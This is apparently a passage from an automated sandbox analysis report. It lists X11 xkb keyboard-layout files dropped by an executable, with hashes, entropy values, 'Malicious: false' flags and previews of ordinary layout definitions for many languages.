Preview:	// This layout includes all Indian layouts, including:.// - Devanagari (Hindi, Marathi, Sanskrit).// - Bengali.// - Gujarati.// - Kannada.// - Malayalam.// - Oriya.// - Tamil.// - Telugu.// - Urdu..// Links:.// - Indic INSCRIPT keyboard layout diagrams:.// http://java.sun.com/products/jfc/tsc/articles/InputMethod/indiclayout.html.// - Bengali Baishakhi (Bengali layouts):.// - Bengali Baishakhi Inscript (Bengali layouts):.// - Bengali Bornona (Bengali layouts):.// - Uni Gitanjali (Bengali layouts):.// http://nltr.org.// - Ekusheyr Shadhinota (Bengali layouts):.// http://ekushey.org/projects/shadhinota/index.html.// - Microsoft Windows XP SP2: Indic Language Standards - an Introduction:.// http://www.bhashaindia.com/MSProducts/XpSp2/Articles/IndicLanguageStandards.aspx..// based on a keyboard map from an 'xkb/symbols/dev' file..// Devangari is the default. Kill me if I am wrong:).default partial alphanumeric_keys.xkb_symbols "deva" {..

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\inet

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	63600
Entropy (8bit):	4.90190512187811
Encrypted:	false
SSDEEP:	1536:a32iBwbb24TweO+LTkYHfsVMhtjCQRG+RK2Y3LgRw:LNCNf
MD5:	F020D8EB4A7FAC4B5BD415F1148DE78A
SHA1:	7A646C526574BCBE7195AEE6C576024D81B8F091
SHA-256:	4D71883C839BE99D1FF77ABF0B914FD9DD93D82A6181CA49BE0ACC4A751B6075
SHA-512:	1158338C6DA7052A7B6C6A234E9B0848E66EEE13635B1293B4DA92CEE073C0C06E14973A10EB7AE766960C39C4C081D7BF381CD43BCA443FC16C7784F1D3FD98
Malicious:	false
Preview:	// EAK (Easy Access, Internet, Multimedia, PDA) keyboards.// Copyright (C) 2002 Stanislav Brabec <sbrabec@suse.cz>.//.// Based on LinEAK project.// LinEAK - Linux support for Easy Access and Internet Keyboards .// Copyright (C) 2001, 2002 Mark Smulders <Mark@PIRnet.nl>..// Usage in XF86Config:.// Option "XkbLayout"."my_kb_layout".// Option "XkbVariant"."my_kb_variant".// Option "XkbModel"."my_eak_type".// Option "XkbRules"."xfree86".// Simple command line usage:.// setxkbmap 'my_kb_layout' -variant 'my_kb_variant' -model 'my_eak_type'..// All keyboards listed here should be also mentioned in.// rules/base, base.lst and base.xml...// Very common set of media keys.partial hidden alphanumeric_keys.xkb_symbols "media_common" {. key <I01> { [ XF86AudioMedia ] }; . key <I10> { [ XF86AudioPrev ] };. key <I19> { [ XF86AudioNext ] };. key <I20> { [ XF86AudioMute ] };. key <I22> { [ XF86AudioPlay, XF86Audi

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\iq

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	642
Entropy (8bit):	4.909412885168386
Encrypted:	false
SSDEEP:	12:ji3Bz160d8F1mbwuFMYKz160dshuFlZQsJz160dRkuFlZQZpJz160dEtiYuFlZQT:OT60WM8/z60MIyS60YIyZB602fIyU60+
MD5:	5EA5209982B892013E9B3982DE8A10A2
SHA1:	8858D18E738F0756F7F2832A20E1985DACA0BE83
SHA-256:	DDD24B4D8DDC2D99F894F18E6573B8632A0BB1C165FD0DDF2CF39487E7C1F8F3
SHA-512:	157E8297868208F793DDA5A02807575543A9A2F25EA9412CC2954CCFB6151ECE3F7ADC739AC41F26A0AD5C2FE24F4617FFBB577FB50065752B05A79F4A0B8BC4
Malicious:	false
Preview:	// Iraque keyboard layout,..// 3-Level layout..default partial alphanumeric_keys.xkb_symbols "basic" {. include "ara(basic)". name[Group1]= "Iraqi";.};..partial alphanumeric_keys.xkb_symbols "ku" {. include "tr(ku)". name[Group1]= "Kurdish (Iraq, Latin Q)";.};..partial alphanumeric_keys.xkb_symbols "ku_f" {. include "tr(ku_f)". name[Group1]= "Kurdish (Iraq, F)";.};..partial alphanumeric_keys.xkb_symbols "ku_alt" {. include "tr(ku_alt)". name[Group1]= "Kurdish (Iraq, Latin Alt-Q)";.};..partial alphanumeric_keys.xkb_symbols "ku_ara" {. include "ir(ku_ara)". name[Group1]= "Kurdish (Iraq, Arabic-Latin)";.};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ir

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	12493
Entropy (8bit):	5.280375651709254
Encrypted:	false
SSDEEP:	384:ohBxF0Ao/CgC49cvzc4hNBFDnVl5QWJwHZQ1:oh6AycvzcG5H
MD5:	8B8535AFB8932C9CFE92C809B9D73DBB
SHA1:	CE270951DE548CB677A00AB80353DF7FA53B42A7
SHA-256:	7CB4439D5E420543F5760586C4535812BA64BA7AB3CAA7342B8B1473D4DD936A
SHA-512:	564CF1B54CB3C7727FCBB777259CF27E05D5634F98EDAB61112C1C63DD4FA8B33943C9214FFB27AD6DA517FEFFF853086DDEB05388698B2AB9F25DD6262E523A
Malicious:	false
Preview:	// Iranian keyboard layout..////////////////////////////////////////.// Persian layout,.// based on.// Information Technology . Layout of Persian Letters and Symbols on Computer Keyboards.// ISIRI 9147 . 1st Edition.// Institute of Standards and Industrial Research of Iran.// http://www.isiri.org/UserStd/DownloadStd.aspx?id=9147.// http://behnam.esfahbod.info/standards/isiri-keyboard-9147.pdf.//.// Author: Behnam Esfahbod <behnam@esfahbod.info>.//..default partial alphanumeric_keys.xkb_symbols "pes" {. name[Group1]= "Persian";.. include "ir(pes_part_basic)". include "ir(pes_part_ext)".. include "nbsp(zwnj2nb3nnb4)". include "level3(ralt_switch)".};...partial alphanumeric_keys.xkb_symbols "pes_keypad" {. name[Group1]= "Persian (with Persian Keypad)";.. include "ir(pes_part_basic)". include "ir(pes_part_keypad)".. include "nbsp(zwnj2nb3nnb4)". include "level3(ralt_switch)".};..partial hidden alphanumeric_keys.xkb_symbols "pes_part_basic" {.. // Persi

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\is

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	8810
Entropy (8bit):	5.192071507809831
Encrypted:	false
SSDEEP:	192:0BL1GQFJaot0cnPSzanMiQmgRn4LAqWc2WXQFj1a+Jj:0BBRFAotYGnMtuAqn2WXQF5a+Jj
MD5:	83B7979409211421CE8D09FA4E4BC83D
SHA1:	1866A32C1BA1C1C974D03318A48BC028DB75B6A2
SHA-256:	4BADEFAC87D6B3FB1C776CFDFA9E84FB2EB304231C230E87E2C4DACFAEECA8B9
SHA-512:	EB551FFE4E2990FEA9FA67EFC56F1E3F3E8396D14E0DBAD4DE9CBD7C3BF88DF8EE9EBA03627632AB930DC66D08208A92461D70C9C19E65B9F08D9FDE7E1BDBBA
Malicious:	false
Preview:	// based on.// XKB keyboard by Hrafnkell Eiriksson - hkelle@rhi.hi.is.// fixes by Olafur Osvaldsson - oli@isnic.is.//.// "basic" corrected according to the Icelandic standard for keyboards,.// IST 125:1995 (some symbols substituted by a dead diacritic)..// Some positions are according to IST ISO/IEC 9995-3:1994.// Added nobreakspace..default partial alphanumeric_keys.xkb_symbols "basic" {.. include "latin(type4)".. name[Group1]="Icelandic";..// <AE00> = <TLDE>. key <AE02>.{ [ 2, quotedbl, twosuperior, oneeighth ].};. key <AE04>.{ [ 4, dollar, onequarter, currency ].};. key <AE11>.{ [odiaeresis, Odiaeresis, backslash, questiondown ].};. key <AE12>.{ [ minus, underscore, dead_cedilla, dead_ogonek ].};.. key <AD11>.{ [ eth, ETH, dead_diaeresis, dead_abovering ] };. key <AD12>.{ [apostrophe, question, asciitilde, dead_macron ].};.. key <AC10>.{ [ ae, AE, asciicircum, dead_

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\it

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	12667
Entropy (8bit):	4.385573004146589
Encrypted:	false
SSDEEP:	384:0gxkZIb23SzTYj/OgaA30lddzbu/DUXfSsibX9J1:0NIb2UTq8SOf+bl
MD5:	70BBC598DA884B65FC52D639D9195AA4
SHA1:	6E6FF3967FF0339B4834AD533A0907FBC77AF679
SHA-256:	4ACA9DAA46AE536D20EFB7B53365D1983B8E16D86A8998198B53D7CB84EFDCAD
SHA-512:	13EB38BF9448037ECCD1F39C3BA3C64DEF78DF9EC916F705C88FD3F6F787E0DED884ED38C05268A420040D6CE5E6A67BCDAB572FADA3C0AE13A43D26751A1A93
Malicious:	false
Preview:	// based on a keyboard map from an 'xkb/symbols/it' file.// 17 May 2003 Modified by Sebastiano Vigna (vigna@dsi.unimi.it)..default partial alphanumeric_keys.xkb_symbols "basic" {.. include "latin(type4)".. name[Group1]="Italian";.. key <TLDE>.{ [ backslash, bar, notsign, userenbar ].};.. key <AE02>.{ [ 2, quotedbl, twosuperior, dead_doubleacute ] };. key <AE03>.{ [ 3, sterling,threesuperior, dead_tilde ].};. key <AE04>.{ [ 4, dollar, onequarter, oneeighth ] };.. key <AE10>.{ [ 0, equal, braceright, dead_ogonek ] };. key <AE11>.{ [apostrophe, question, grave, questiondown ].};. key <AE12>.{ [ igrave, asciicircum, asciitilde, dead_circumflex ] };.. key <AD11>.{ [ egrave, eacute, bracketleft, braceleft ].};. key <AD12>.{ [ plus, asterisk, bracketright, braceright ].};.. key <AC10>.{ [ ograve, ccedilla, at, dead_cedilla ] };. key <AC

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\jp

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8332
Entropy (8bit):	5.072718994699535
Encrypted:	false
SSDEEP:	192:Vcqij2UWDYDLzNd/zLYYJOS6eAlR6vqYZl5xtYZq+cC:VcqrUWDYDLzNdQcOS6TlR6vqgxtYA+cC
MD5:	4F2C0927AACF1F0BBEF1FCDD1D65A45E
SHA1:	4E411F47CB3918509A6B0CB7ADE1B038E524BD80
SHA-256:	B1A91065560CE92757960A1F481D81217E15622513D9E2394159B1C9048FD944
SHA-512:	D6D9EC6AF98656C6CB4A6EED1781FB8A52ACCF10B680A08DC98261D2708C76B08C26003E6E246D882B5CE02D36F3B08839BAD0ED5A2E639E10751490D2D6E4E5
Malicious:	false
Preview:	// Symbols for Japanese 106-keys keyboards (by tsuka@kawalab.dnj.ynu.ac.jp)...default partial alphanumeric_keys.xkb_symbols "106" {.. include "jp(common)". name[Group1]= "Japanese";.. key <AE10> { [ 0, asciitilde.] };. key <AE13> { [ backslash, bar.] };.};..partial hidden alphanumeric_keys.xkb_symbols "common" {. // "Common" keys for jp 106/109A layouts... key <HZTG> {..type[Group1]="PC_ALT_LEVEL2",..symbols[Group1]= [ Zenkaku_Hankaku, Kanji ]. };.. key <AE01> { [ 1, exclam..] };. key <AE02> { [ 2, quotedbl..] };. key <AE03> { [ 3, numbersign.] };. key <AE04> { [ 4, dollar..] };. key <AE05> { [ 5, percent..] };. key <AE06> { [ 6, ampersand..] };. key <AE07> { [ 7, apostrophe.] };. key <AE08> { [ 8, parenleft..] };. key <AE09> { [ 9, parenright.] };. key <AE11> { [ minus, equal..] };. key <AE12> { [ asciicircum,.asciitilde] };.. key <AD01> { [ q, Q...] };. key <AD02> { [ w, W...] };. key <AD03> { [ e, E...] };. key <AD04

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ke

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2185
Entropy (8bit):	5.113107326307085
Encrypted:	false
SSDEEP:	48:1TrJY5DpnpoPV+WZJ0E+WsnBLDpnpoPV+WZJ0E+Wzt:lry5DdGWzznBLDdGWzst
MD5:	FC2D92CF59081AF3C3D2BB2FADC22F10
SHA1:	C7A02EA5DC707E6BD0C879D4211F208C94E70DC9
SHA-256:	455D62444528B1B259257F052B1CF15952FCE616ED1C048A945DFAA04B8EC7D5
SHA-512:	D3E480D58699E24511992398786BDE5ED846610A81DC5BDF19B60E9CF82B44B9E10103162B904FCFEC0C4892EDCB6D505E3CA9CE4A4024591A51D7F69E3160BC
Malicious:	false
Preview:	// Keyboard layout for Swahili in Arabic script..// Based on Martin Vidner's Buckwalter transliteration variant of the Arabic keyboard.// Please notify any corrections or omissions to.// Kevin Donnelly (kevin@dotmon.com)..default partial alphanumeric_keys.xkb_symbols "swa" {.. include "us".. name[Group1]= "Swahili (Kenya)";. . key <AC10> { [ semicolon,. colon, 0x01000324, 0x01000324 ] };.//COMBINING DIAERESIS BELOW.. key <AC11> { [apostrophe, quotedbl, 0x01000301, 0x01000308 ] };.//COMBINING ACUTE ACCENT, COMBINING DIAERESIS. key <TLDE> { [ grave, asciitilde, 0x01000300, 0x01000303 ] };.//COMBINING GRAVE ACCENT, COMBINING TILDE. key <AE06> { [ . 6, asciicircum, 0x01000302 . . ] };.//COMBINING CIRCUMFLEX ACCENT. key <AE08> { [. 8, asterisk, 0x01000307, 0x01000323 ] };.//COMBINING DOT ABOVE, COMBINING DOT BELOW. key <AE09> { [. 9, parenleft, 0x01000306. ] };.//COMBINING BREVE. key <AE10> { [. 0, paren

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\keypad

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	21673
Entropy (8bit):	5.260656894643468
Encrypted:	false
SSDEEP:	192:nPLOfI+KgPXs98zprgevZOPqvxr1LzzH5Bwc+/xK6ET3QS+KvpFDs/7cNAysbNaE:qXzP3we6IZE7QFn1jCD/fO0q6R
MD5:	F3B27B5B196CC21E3C4FFC16940963FF
SHA1:	41191245B1244C3D16B045E99DD0751D5BDC6543
SHA-256:	8816E6D43807235D9BA4CEEC419F696886719BF8785737A5286A6CB3A7629B0C
SHA-512:	19734F13931372E4B6618B3C3C7104217235F22BEEE1B06B1DB8C87B51D95201954339C229F0177F1E8B6D7318AFE02B8CC78E5217145D309659634FBF1A643A
Malicious:	false
Preview:	// $XKeyboardConfig$.// $Xorg: keypad,v 1.3 2000/08/17 19:54:43 cpqbld Exp $..partial hidden keypad_keys.xkb_symbols "overlay" {. include "keypad(overlay1)".};..partial hidden keypad_keys.xkb_symbols "overlay1" {.. // Begin "Keypad" section.. key <KP7> {.[ KP_7.],.overlay1=<KO7>.};. key <KP8> {.[ KP_8.],.overlay1=<KO8>.};. key <KP9> {.[ KP_9.],.overlay1=<KO9>.};.. key <KP4> {.[ KP_4.],.overlay1=<KO4>.};. key <KP5> {.[ KP_5.],.overlay1=<KO5>.};. key <KP6> {.[ KP_6.],.overlay1=<KO6>.};.. key <KP1> {.[ KP_1.],.overlay1=<KO1>.};. key <KP2> {.[ KP_2.],.overlay1=<KO2>.};. key <KP3> {.[ KP_3.],.overlay1=<KO3>.};.. key <KP0> {.[ KP_0.],.overlay1=<KO0>.};. key <KPDL> { .[ period.],.overlay1=<KODL>.};.. key <KO7> {.[ KP_7.].};. key <KO8> {.[ KP_8.].};. key <KO9> {.[ KP_9.].};.. key <KO4> {.[ KP_4.].};. key <KO5> {.[ KP_5.].};. key <KO6> {.[ KP_6.].};.. key <KO1> {.[ KP_1.].};. key <KO2> {.[ KP_2.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\kg

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	6080
Entropy (8bit):	4.954490949810516
Encrypted:	false
SSDEEP:	96:OLhCV+NIS2Mx5wai1qpVl7sd4mM4vUDT6P:pSdTwaisd4/M4sCP
MD5:	58E214842A4F1E234B846FB17F59D674
SHA1:	195FBDC12EFD151DACCC460988786686158BAF31
SHA-256:	1E0E2A1CD5A634318AFD9B5E87931F3AE5791E18DA1F6314E9479A39F45396BA
SHA-512:	D7A23A0F586775FBBF9D1C11FC1C4169845E6E6E0EFF21CFE7F5795E948E786DFB731CC5D668755AC95527C0E2BA8F38ADCE6EFF94FDCC57439B0CB0A5BFFEFC
Malicious:	false
Preview:	// Kirghiz (aka Kyrgyz) Standard Keyboard.//.// Standard. -.Phonetic.// ______________- ________________.// .1234567890.. .1234567890...// .!".;%:?*().. .!".;%:?-()...//.// ............. ..............// ........... ............// ..........(,) ..........(,)..// Authors:.// Timur Jamakeev <ztimur [at] gmail.com>.// Ilyas Bakirov <just_ilyas [at] yahoo.com>.// Yury Fedorov <yury-fedorov [at] prime-task.com>.// Emil Asanov <a7 [at] on.kg>.// Ulan Melisbek <ulan.melisbek [at] gmail.com>...// Kyrgyz standard keyboard.default partial alphanumeric_keys.xkb_symbols "basic" {.. name[Group1]= "Kyrgyz";.. key.<AE01> {.[..1,. exclam .].};. key.<AE02> {.[..2, quotedbl.].};. key.<AE03> {.[..3, numerosign.].};. key.<AE04> {.[..4, semicolon.].};. key.<AE05> {.[..5,. percent.].};. key.<AE06> {.[..6,. colon.].};. key.<AE07> {.[..7,. question.].};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\kh

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5009
Entropy (8bit):	4.941848232042548
Encrypted:	false
SSDEEP:	96:3jVJP534jAeBQyTIEeoLvjez4FDlHKP+dW4Jq1Lh:5HojAuQ5E57jeslqP34k19
MD5:	0B0FAE1E6ADC4AD9B6ABCDEF3AE9454F
SHA1:	1DEAE01EB0AE3042FDF56915D07E79764EB41BC5
SHA-256:	17F75323CF0A71E118BD21B57C941FD9D9ED950E4901B924685815C6026897FA
SHA-512:	E1856BBEF226BF75536801E23642C9F0B9C67DE5F371A148F01A1299F3D48BCB0D9CD0859C4128AFA353222833D8F7FBE83F7A5128DEDD92EB77580588AC810C
Malicious:	false
Preview:	//.// khmer unicode keyboard for XFree86 4.3 or XOrg .// (might work with older versions, not tested).//.// layout defined by National Information Communications Technology Development Authority (NiDA).// http://www.nida.gov.kh.//.// version: 1.0.1.//.// date: 14.09.2005.//.// author: Jens Herden (jens at khmeros.info).//.//.// understanding the symbols:.//.// 0x100yyyy = unicode, yyyy is hexcode.// codes that are not assigned in unicode (0x10017fb-0x10017ff),.// are used to make compositions for special vowels.//.// voidsymbol = no symbol for this combination.//.// all other symbol are defined in: /usr/X11/include/X11/keysymdef.h.// but with a leading 'XK_'.//..default partial alphanumeric_keys.xkb_symbols "basic" {. name[Group1]= "Khmer (Cambodia)";. .// there are four levels defined:.//.// normal shift...right-alt.right-alt + shift.//..// keys: `1234567890

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\kpdl

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	3398
Entropy (8bit):	5.133465997576792
Encrypted:	false
SSDEEP:	48:DoRAS0L16gp0ZJgay3Y6whFgEJjM/Hon1gnsZ/YEsmxFEFE6UFjVA6oXo3qY:Do6B8Jgauy6/UUmYBQKFFajVA6o4
MD5:	AF037C59909462114F5D292E9E9DA780
SHA1:	4BC234079BBFB469D159F9A398D2D63E983314E4
SHA-256:	B81EF8AA7CFA4B3272986272150FD445B8EFFEFF986C2097CD88FBA880FED1BB
SHA-512:	602A8BBF6BFD1C8339CD3423CE40AADC76843B44AD0EBEF143CF0B4B0E4A3A0555D26264D6442743638F5F4861E1138E7A1DBBFB7D379C8A7E4D446D4D1DF381
Malicious:	false
Preview:	// The <KPDL> key is a mess..// It was probably originally meant to be a decimal separator..// Except since it was declared by USA people it didn't use the original.// SI separator "," but a "." (since then the USA managed to f-up the SI.// by making "." an accepted alternative, but standards still use "," as.// default).// As a result users of SI-abiding countries expect either a "." or a ",".// or a "decimal_separator" which may or may not be translated in one of the.// above depending on applications..// It's not possible to define a default per-country since user expectations.// depend on the conflicting choices of their most-used applications,.// operating system, etc. Therefore it needs to be a configuration setting.// Copyright . 2007 Nicolas Mailhot <nicolas.mailhot @ laposte.net>...// Legacy <KPDL> #1.// This assumes KP_Decimal will be translated in a dot.partial keypad_keys.xkb_symbols "dot" {.. key.type[Group1]="KEYPAD" ;.. key <KPDL> { [ KP_Delete, KP_Decimal ] }; //

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\kr

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	679
Entropy (8bit):	4.971864908712673
Encrypted:	false
SSDEEP:	12:aK160dQyxuFkHTJk160dayxuFMlTB2aT9XgRb2dybQvYKdy9XgRfguYoPQMz16kS:aW60vpC60xReaIQwKZ4Vooa66S
MD5:	9C5DC29D58915BAECAD42139EBF5B1B6
SHA1:	E89CD025983FCF8D03D2BF67CBE6AF25F993E0BE
SHA-256:	1A8D23C2522C05C0649280396DC6A88619C611487F8A1CC6ADA4E94D471C8150
SHA-512:	CB5557F780E9D19B5D91467BB5158FEFDE155E955EE206F4312535B3457197CA02DFB89D7CFD28ACB40969358F7FC37182E3A00A1B7C0EAA04F99A5006433F6C
Malicious:	false
Preview:	default alphanumeric_keys.xkb_symbols "kr106" {. include "us". name[Group1]= "Korean";. include "kr(koreankeys)".};..alphanumeric_keys.xkb_symbols "kr104" {. include "us". name[Group1]= "Korean (101/104 key compatible)";. include "kr(koreankeys)". include "kr(koreankeys_raltctl)".};..partial hidden function_keys.xkb_symbols "koreankeys" {. key <K71> { [ Hangul ] };. key <K72> { [ Hangul_Hanja ] }; .};..partial hidden function_keys.xkb_symbols "koreankeys_raltctl" {. key <RALT> { [ Hangul ] };. key <RCTL> { [ Hangul_Hanja ] }; .};..// EXTRAS:..partial alphanumeric_keys..xkb_symbols "sun_type6" {..include "sun_vndr/kr(sun_type6)".};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\kz

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	11827
Entropy (8bit):	4.3076327146868865
Encrypted:	false
SSDEEP:	192:E5KZd9mrCCcIbvnR/SZBfdKsQNLmbQkY23ddKsYNLCbnJY2SdA:oKj9me1WvRQBlKsyLQt733Ks6LcJ7v
MD5:	8F73D9522BE5CD1027624F825FC42F3B
SHA1:	E4712F08B4359C55D9E6B1DD8EABF7CB47F643B8
SHA-256:	19C568E539F09DA1251E7C2E524EAAA12FEB6C2F7F7CDE5C13EB21AD19B1357E
SHA-512:	C78B3190C6733855A16DDD357B1ACD38C178ACB7FA01E1AF76F043CFB21D7A70C88304E0D6831E95D266DDD7B4D959AC09BCDC70EED281097F2901EFE500F27E
Malicious:	false
Preview:	// Based on http://www.sci.kz/~sairan/keyboard/kzkbd.html.// Baurzhan Ismagulov <ibr@radix50.net>.//..// TODO:.// 1. AltGr with TLDE and LSGT..// 2. Dead key for ruskaz and kazrus..// 3. Ctrl + <key>..// 4. Alt-Tab...// RST KazSSR 903-90.// levels 3 and 4 are non-standard extensions.default partial alphanumeric_keys.xkb_symbols "basic" {.. name[Group1] = "Kazakh";..key.type[group1] = "FOUR_LEVEL";.. key <TLDE> { [ parenleft, parenright, Cyrillic_io, Cyrillic_IO ] };. key <AE01> { [ doublelowquotemark, exclam ] };. key <AE06> { [ comma, semicolon ] };. key <AE07> { [ period, colon ] };. key <BKSL> { [ backslash, slash ] };. key <AB10> { [ numerosign, question ] };. key <LSGT> { [ less, greater, bar, userenbar ] };..key.type[group1] = "ALPHABETIC";.. key <AE02> { [ Cyrillic_schwa, Cyrillic_SCHWA ] };. key <AE03> {

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\la

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5613
Entropy (8bit):	4.4058275014299175
Encrypted:	false
SSDEEP:	96:v1WVM0zt/4FYJMIJxedZtx6mD/ZJJtn2u:990ztwFyMI276mDxDtn2u
MD5:	F2E044C880F22484ECFA135098A16C29
SHA1:	03242F20348F78387F8F506B13D1DB5C542B4DC4
SHA-256:	59DE43E12FFABE9A71BD58701765602E274B0AC798E268716FFAB6A37D2F36F6
SHA-512:	4846B61FA19084878D8A595AD46F900260E37F427FC06BAF3A8E56DC9858B4AF5904146D4D4758C368D2BCDC4E7E3DE99DCC651DB3B98B7F39764C9247680765
Malicious:	false
Preview:	// Lao keymap, by Anousak Souphavanh <anousak@muanglao.com>..default partial alphanumeric_keys.xkb_symbols "basic" {.. // This keymap describes the Lao keyboard standard,. // which is [kind of] widely used in Laos... name[Group1]= "Lao";.. key <TLDE> { [ 0x100200D...]};. key <AE01> { [ 0x1000ea2, 0x1000ed1.]};. key <AE01> { [ 0x1000ea2, 0x1000ed1.]};. key <AE02> { [ 0x1000e9f, 0x1000ed2.]};. key <AE03> { [ 0x1000ec2, 0x1000ed3.]};. key <AE04> { [ 0x1000e96, 0x1000ed4.]};. key <AE05> { [ 0x1000eb8, 0x1000ecc.]};. key <AE06> { [ 0x1000eb9, 0x1000ebc.]};. key <AE07> { [ 0x1000e84, 0x1000ed5.]};. key <AE08> { [ 0x1000e95, 0x1000ed6.]};. key <AE09> { [ 0x1000e88, 0x1000ed7.]};. key <AE10> { [ 0x1000e82, 0x1000ed8.]};. key <AE11> { [ 0x1000e8a, 0x1000ed9.]};. key <AE12> { [ 0x1000ecd...]};.. key <AD01> { [ 0x1000ebb...]};. key <AD02> { [ 0x1000ec4, 0x1000ed0

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\latam

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2450
Entropy (8bit):	4.77728025616609
Encrypted:	false
SSDEEP:	48:xEWoW0hnEr/6vYlFoTlVYabzv89SHaQEN/61YLqztHm3:xoXpE76QfVav8AaQEx61Y29m3
MD5:	4BBC31CE590B0168D81E23A05846AB96
SHA1:	C17CAF9F224016EE30603604D68E99DE988E18A1
SHA-256:	746D074DB57E936D15473243A68ACA792B356070F35FC7ECBFA34F13B1507E2B
SHA-512:	A1DA4BC2B1452F5CC4E6974599D53837057DD3E929E1CB2673EAC8F277E68803A66465353ADCAB11110E5BAE161F6C7B553920A7FFC22396417D7A5F40A7ABF0
Malicious:	false
Preview:	// based on a keyboard.// Modified for a real Latin American Keyboard by Fabian Mandelbaum..default partial alphanumeric_keys.xkb_symbols "basic" {.. include "latin(type4)".. name[Group1]="Spanish (Latin American)";.. key <AE01>.{ [ 1, exclam, bar, exclamdown ].};. key <AE03>.{ [ 3, numbersign, periodcentered, sterling ].};. key <AE04>.{ [ 4, dollar, asciitilde, dollar ].};. key <AE06>.{ [ 6, ampersand, notsign, fiveeighths ].};. key <AE11>.{ [apostrophe, question, backslash, questiondown ].};. key <AE12>.{ [questiondown, exclamdown, dead_cedilla, dead_ogonek].};.. key <AD11>.{ [dead_acute, dead_diaeresis, dead_diaeresis, dead_abovering ].};. key <AD12>.{ [ plus, asterisk, asciitilde, dead_macron ].};.. key <AC10>.{ [ ntilde, Ntilde, asciitilde, dead_doubleacute ] };. key <AC11>.{ [ braceleft, bracketleft, dead_circumflex, braceleft].};. key <TLDE>.{ [

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\latin

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	14636
Entropy (8bit):	4.630447852782591
Encrypted:	false
SSDEEP:	192:tdf2xEhxtHpIrB41az7M7glMUxV74XndYA02M/:Xf26btHp51oM7LUnsYtx
MD5:	F58A71315BA863E40DE94637CF8D21E2
SHA1:	48EA77C5D4E874402824C2EC629836943DB65B2C
SHA-256:	CB3AD52DEF656F307D3A50B3082EBF3CB584DC86E12692A099EAE6CD93EE3E28
SHA-512:	19A490BFFA31F72AAC534B63D9C6F71D42A2A8065DBE736BB87A58737A7DBC63EF8F50D9624FDB6A4017DAFB4FAF44C040ED805B8BE507ADA69042F1EF2DBDFF
Malicious:	false
Preview:	// Common Latin alphabet layout..default partial.xkb_symbols "basic" {.. key <AE01>.{ [ 1, exclam, onesuperior, exclamdown ].};. key <AE02>.{ [ 2, at, twosuperior, oneeighth ].};. key <AE03>.{ [ 3, numbersign, threesuperior, sterling ].};. key <AE04>.{ [ 4, dollar, onequarter, dollar ].};. key <AE05>.{ [ 5, percent, onehalf, threeeighths ].};. key <AE06>.{ [ 6, asciicircum, threequarters, fiveeighths ] };. key <AE07>.{ [ 7, ampersand, braceleft, seveneighths ].};. key <AE08>.{ [ 8, asterisk, bracketleft, trademark ].};. key <AE09>.{ [ 9, parenleft, bracketright, plusminus ].};. key <AE10>.{ [ 0, parenright, braceright, degree ].};. key <AE11>.{ [ minus, underscore, backslash, questiondown ].};. key <AE12>.{ [ equal, plus, dead_cedilla, dead_ogonek ].};.. key <AD01>.{ [ q,

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\level3

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6080
Entropy (8bit):	5.144704404926374
Encrypted:	false
SSDEEP:	96:2yy/cyaFEEiSEV7747573Z67hzVvMgO+eDEvRwo:2h78E/0VKVUNYJB
MD5:	47448A6E646B1FC46610BAB431470151
